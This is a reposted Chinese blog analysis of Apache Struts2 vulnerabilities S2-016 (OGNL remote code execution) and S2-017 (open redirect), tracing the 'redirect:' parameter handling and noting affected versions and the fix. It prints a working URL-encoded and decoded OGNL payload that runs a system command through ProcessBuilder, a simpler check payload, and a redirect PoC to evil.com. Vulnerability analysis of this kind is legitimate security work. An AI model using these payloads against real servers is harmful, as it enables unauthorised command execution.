S2-016、S2-017

前言

    由于S2-016、S2-017出现的原因时相同的,只是由于poc不一样,造成了不同的攻击。S2-016是RCE,S2-017是开发型重定向漏洞。这里将两个漏洞放一起分析。另外“Struts2系列起始篇”是我整各系列的核心,希望大家能花些时间先看看。

正文

    在起始篇中我们讲到过,Struts2在StrutsPrepareFilter中通过DefaultActionMapper.getMapping获取action对应的action mapper时会调用handleSpecialParameters对请求的url后面的特殊参数做判断。跟进getMapping函数

 

    跟进handleSpecialParameters方法:

    在362行处,prefixTrie实际上就是一个类似Map<String,Object>的数据结构(具体实现不重要),在DefaultActionMapper的构造函数中就已经初始化了prefixTrie。

    可以看到prefixTrie有资格key,分别是method:、action:、redirect:、redirect-action:。当请求参数中有这四个参数中的某一个时,将会调用对应的value(一个ParameterAction)的execute方法。我们看一下官方的介绍,可以知道action:、redirect:、redirect-action:这三个是有问题的。

 

    我们选择其中的“redirect: ”跟进对应的execute方法就好了

 

    方法内先是创建了一个ServletRedirectResult对象,然后调用ServletRedirectResult的sertLocation方法设置跳转的url(可以看到是用的url后面的redirect参数分割后赋值的,假设我们访问"http://localhost:8088/struts2-showcase-2.1.6/skill/edit.action?redirect:xxx",那么action mapper的location就是”xxx“),最后将该ServletRedirectResult放入action mapper中,到这里两个漏洞的source点就分析出来了。
    我们在第一篇文章中讲过,在Dispatcher.serviceaction()执行action前都会判断actionmapper中是否有result属性,有的话将调用result的execute方法而不会进入action中了。

由于这里分析起来较为麻烦,也难以说清楚,我们访问"http://localhost:8088/struts2-showcase-2.1.6/skill/edit.action?redirect:xxx"后直接debug

 

    F5步入,发现先是进入了StrutsResultSupport的execute方法,这是因为StrutsResultSupport是ServletRedirectResult的父类,而ServletRedirectResult自己有没有实现execute方法。

 

    方法中先是调用conditionalParse解析location,再调用ServletRedirectResult.doExecute进行真正的跳转。跟进conditionalParse方法中:

    继续F5步入进入TextParseUtil.translateVariables方法中,发现其调用了translateVariables,其中初始化了一个char[]是”%“和"$",这是方便后面识别表达式(S2-027中就是因为ActionSupport类中的getText方法调用了此方法导致ognl表达式执行,ActionSupport是所有Action的父类,后面将不再分析此漏洞)

    继续跟进:

    方法很长,但是内容很简单,大致就是判断location是否是表达式,如果是则进入stack.findValue(),由于这里我们的POC中location是”xxx“,所以我们进不去,先不管,之后我们改下poc再进这个方法中看看。回到StrutsResultSupport的execute方法中,这个时候我们知道了原来conditionalParse解析location就是判断location是不是ognl表达式,然后进入了ServletRedirectResult.doExecute方法中

    OK!到这里,S2-017这个开放型重定向漏洞就被分析出来了,我们只需改下poc,让location为“http://www.baidu.com”就好了。"localhost:8088/struts2-showcase-2.1.6/viewSource.action?redirect:http://www.evil.com"

 

    回到之前我们没有进去的代码,现在我们再将poc修改下,让location以”${“开头以”}“结尾,进入循环代码,访问”localhost:8088/struts2-showcase-2.1.6/viewSource.action?redirect:${xxxx}“,发现后台tomcat报错了

    这是由于url中不让有特殊字符,需要url编码,这个时候有经验的朋友可能会问:”为什么我以前利用S2的其他漏洞,ognl表达式都没有url编码,照样能用呢?“,我看过其他朋友关于S2-016的分析,也都遇到这个问题了,就是S2-016不编码的poc用不了。

    这里我简单的测试了一下并没有得出结论,最开始以为是浏览器识别时发现没有“=”不会自动进行url编码,后来经测试发现压根就不是这样的。不过从上面报出的异常栈中可以看到,请求压根没到struts2,是tomcat报错了,所以我觉得应该和漏洞本身无关。不过貌似不管怎样poc最好还是url编码下吧。。。

    将poc修改下,重新访问”localhost:8088/struts2-showcase-2.1.6/viewSource.action?redirect:%24%7Bxxxx%7D“

 

    debug一下能发现这里的值栈其实是OgnlValueStack,我们在第一篇文章中也讲过,创建值栈时创建的是其默认实现类OgnlValueStack。F5步入:

 

    可以看到表达式参数expr就是”xxxx“,继续跟进ognlUtil.getValue

 

    到这里就可以看到将会执行ognl表达式了。至于为什么,后面会专门介绍OGNL的。现在我们将poc修改成如下”localhost:8088/struts2-showcase-2.1.6/skill/edit.action?redirect:%24%7B%23a%3D%28new%20java.lang.ProcessBuilder%28new%20java.lang.String%5B%5D%7B%27cmd.exe%27%2C%20%27%2fc%27%2C%27ipconfig%27%7D%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B500%5D%2C%23d.read%28%23e%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D“
    访问会提示下载,下载下来打开里面就是执行的代码结果了。

OGNL表达式

    其实百度百科就已经说的比较清楚了,看下介绍:

 

    可以看到OGNL就是用来访问对象且可以调用对象的方法的,如果我们能访问ProcessBuilder、Runtime这些对象并调用他们的方法岂不是就可以执行任意命令了。

    先看下OGNL表达式的语法:

 

    上面对Ognl表达式的用法做了些简单的介绍,至于为什么Ognl.getValue会执行表达式,这个需要看OGNL源码才型,感觉在这里分析它没有必要。知道了上面这些用法就足以让我们理解poc和写poc了。值得注意的是早期S2的漏洞中使用的POC都是通过   ”**@[类全名(包括包路径)]@[方法名 |  值名**“  来获取ProcessBuilder、Runtime这些对象的,后来struts2禁用了静态方法调用,所以大家将poc改为直接new 一个ProcessBuilder或Runtime来执行命令。现在我们将上面的poc url解码后分析下:
    ${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe', '/c','ipconfig'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[500],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}
    看起来好像代码很多,实际上就是new一个ProcessBuilder对象执行了ipconfig命令,然后将输出结果用io流读取后通过HttpServletResponse返回。也可以使用如下较为简单的方法进行验证漏洞是否存在(记住需要url编码):
${#p=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),#p.println("hacker"),#p.close()}

 

S2-018

    这里不打算分析S2-018了,只是简单的提一下,我们分析S2-016和S2-017时是通过跟进"redirect:"这个特殊的参数来分析的,实际上”redirect-action“和”action:“也有问题,其中S2-018就和”action:“相关,看下官方介绍:

 

    大概意思就是通过指定”action:“可以越权,由于漏洞影响不大,我没有分析它,感兴趣的小伙伴可以自行跟进

 

修复方法

    S2-016、S2-017、S2-018影响范围在Struts 2.0.0 - Struts 2.3.15.2 。Struts 2.3.15.3的版本中已经将这三个特殊参数都删除了

参考文章

https://cwiki.apache.org/confluence/display/WW/Security+Bulletins

https://blog.csdn.net/u011721501/article/details/41735885

https://www.jianshu.com/p/298a2cb12403

转载于:https://www.cnblogs.com/jinqi520/p/10813737.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/462683.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

struts 2 配置通配符

2019独角兽企业重金招聘Python工程师标准>>> 随着Web应用程序的增加&#xff0c;所需的Action也会更多&#xff0c;从而导致大量的action映射&#xff0c;使用通配符可以减少action配置的数量&#xff0c;使一些具有类似行为的Action或者Action方法可以使用通用的样…

记一次使用pt-query-digest工具分析MySQL慢查询日志

最近遇到了MySQL性能问题&#xff0c;使用percona 的 pt-query-digest工具分析性能的瓶颈点。并且pt-query-digest工具要优于MySQL本身自带的mysqldumpslow工具。 查看pt-query-digest工具在ubuntu下的安装流程请看&#xff1a;ubuntu下安装pt-query-digest_一缕阳光a的博客-CS…

Entity Framework 4.1 DbContext使用记之三——如何玩转实体的属性值?

之前的两篇有关EF4.1的文章反响不错&#xff0c;感谢大家的支持&#xff01;想体验EF4.1的新功能&#xff1f;RTW版本已经发布啦&#xff0c;http://www.microsoft.com/downloads/en/details.aspx?FamilyIDb41c728e-9b4f-4331-a1a8-537d16c6acdf&displaylangen Entity …

[WorldWind学习]5.相机对象

首先查看WorldWindow的事件&#xff1a;OnMouseUp、OnMouseMove、HandleKeyDown&#xff0c;这几个方法中多次调用this.drawArgs.WorldCamera的各种属性实现了场景的控制&#xff0c;包括球的旋转、场景的放大缩小&#xff0c;上下移动。 1. 接下来查看CameraBase类RotationYaw…

在VS2010开发的MVC3 应用程序中设定默认的浏览器

vs2010做mvc3 开发,用的是Razor的View,想修改默认浏览器,发现右键没有"浏览方式",把View改成.aspx的,也没有找到这个选项. 解决方法两种 (1)最简单的,建个Asp.net Web应用程序,在随便一个xxx.aspx页面,右键"浏览方式"即可.. (2)通过修改项目属性也可以,右键…

android 获取lanucher 列表

引用&#xff1a;http://www.iteye.com/topic/696187 获取Launcher 启动列表 即 列出所有Launcher程序 通过PackageManager 来获取 [代码 步骤] 1. 定义内部类 LauncherItem 用于定义Application相关属性 比如&#xff1a;图标 名称 以及 ComponentName Java代码 public clas…

对int变量赋值的操作是原子的吗?

对于例子如下&#xff1a; int count 0; count; // 是原子操作吗? count; 是原子操作吗? 先说答案&#xff1a; 1、在单处理器下&#xff0c;如果将 count; 语句 翻译为单指令时&#xff0c;是原子操作。 不过现在处理器都会对语句进行优化。 2、在多处理器下&#xf…

企业面试中关于MYSQL重点的28道面试题解答

问题1&#xff1a;char、varchar的区别是什么&#xff1f; varchar是变长而char的长度是固定的。如果你的内容是固定大小的&#xff0c;你会得到更好的性能。 问题2: TRUNCATE和DELETE的区别是什么&#xff1f; DELETE命令从一个表中删除某一行&#xff0c;或多行&#xff0c;T…

普通的int main(){}没有写return 0;会怎么样?

结论可能大家看上面的图就知道了&#xff0c;没有加return 0;编译器会自动添加一个。那怎么证明呢&#xff1f; 可以查看相应的汇编代码&#xff0c;查看汇编代码推荐使用godbolt.org网站&#xff0c;相当方便。 如上图&#xff0c;输入C代码&#xff0c;在右半部分会显示编译…

python 内置方法 BUILT-IN METHODS

setattr getattr hasattr 1. abs() returns absolute value of a number 返回绝对值 integer -20 print(Absolute value of -20 is:, abs(integer)) 2. all() returns true when all elements in iterable is true 都为true则为true 3. any() Checks if any Element of an Ite…

并发与并行的区别

学习多线程的时候会遇到一个名词&#xff1a;并发。这是属于操作系统中的词汇&#xff0c;需要了解并发和并行的区别&#xff0c;从网上搜集了几种说法帮助理解。 一&#xff1a; 并发是指一个处理器同时处理多个任务。 并行是指多个处理器或者是多核的处理器同时处理多个不同的…

Oracle PL/SQL块 多表查询(emp员工表、dept部门表、salgrade工资等级表)

范例: 查询每个员工的编号&#xff0c;姓名&#xff0c;职位&#xff0c;工资&#xff0c;工资等级&#xff0c;部门名称●确定要使用的数据表|- emp表&#xff1a;员工的编号、姓名、职位、工资|- salgrade表&#xff1a;工资等级|- dept表&#xff1a;部门名称●确定已知的关…

多线程的互斥锁应用RAII机制

什么是RAII机制 RAII是Resource Acquisition Is Initialization&#xff08;翻译成 “资源获取即初始化”&#xff09;的简称&#xff0c;是C语言的一种管理资源、避免资源泄漏的惯用法&#xff0c;该方法依赖构造函数资和析构函数的执行机制。 RAII的做法是使用一个类对象&a…

asp.net 浏览服务器文件

http://www.csharpwin.com/dotnetspace/12018r482.shtml 前台文件file.aspx <% Page Language"C#"AutoEventWireup"true"CodeFile"file.aspx.cs"Inherits"file"%> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transi…

pynput模块—键盘鼠标操作和监听

pynput.mouse&#xff1a;包含控制和监控鼠标或者触摸板的类。 pynput.keyboard&#xff1a;包含控制和监控键盘的类。 上面提到的子包都已被引入到pynput库中。要使用上面的子包&#xff0c;从pynput中引入即可。 下面有详细的示例文档。 控制鼠标 使用pynput.mouse控制鼠标&a…

Windows 恢复环境(Windows RE模式)

Windows 恢复环境 (Windows RE) 是一个能修复无法启动操作系统的常见问题的恢复环境。Windows 预安装环境 (Windows PE) 是具有有限服务的最小 Win32 操作系统。Windows RE 建立在 Windows 预安装环境 (Windows PE) 的基础上&#xff0c;并且可以用附加的驱动程序、语言、Windo…

开源许可证GPL、BSD、MIT、Mozilla、Apache和LGPL的区别

最近工作中遇到了开源许可证的问题&#xff0c;需要测试基于开源软件开发的本公司产品满足哪些开源协议&#xff0c;网上找了一些关于这方面的解答&#xff0c;在此备份下&#xff1a; 首先借用有心人士的一张相当直观清晰的图来划分各种协议&#xff1a;开源许可证GPL、BSD、M…

什么是 mmap

1. mmap 基础概念 mmap 即 memory map&#xff0c;也就是内存映射。 mmap 是一种内存映射文件的方法&#xff0c;即将一个文件或者其它对象映射到进程的地址空间&#xff0c;实现文件磁盘地址和进程虚拟地址空间中一段虚拟地址的一一对映关系。实现这样的映射关系后&#xff…

win10 + 独显 + Anaconda3 + tensorflow_gpu1.13 安装教程(跑bert模型)

这里面有很多坑&#xff0c;最大的坑是发现各方面都装好了结果报错 Loaded runtime CuDNN library: 7.3.1 but source was compiled with: 7.4.1&#xff0c;这是由于最新的tensorflow1.13需要用 Cudnn7.4.1编译。这个问题&#xff0c;StackOverflow上有人问到&#xff0c;但是…

Oracle client 安装、配置

一、安装 链接: https://pan.baidu.com/s/1Yph6hiNkCJsApAzu_Vx2ew 提取码: r9ye 二、配置 1、控制面板\所有控制面板项\管理工具\数据源(ODBC) 注&#xff1a;odbc 分 64 位和 32 位的2、测试 ODBC 连接 Oracle 数据库点击 ODBC&#xff0c;在“用户 DSN”页签下点击添加按钮…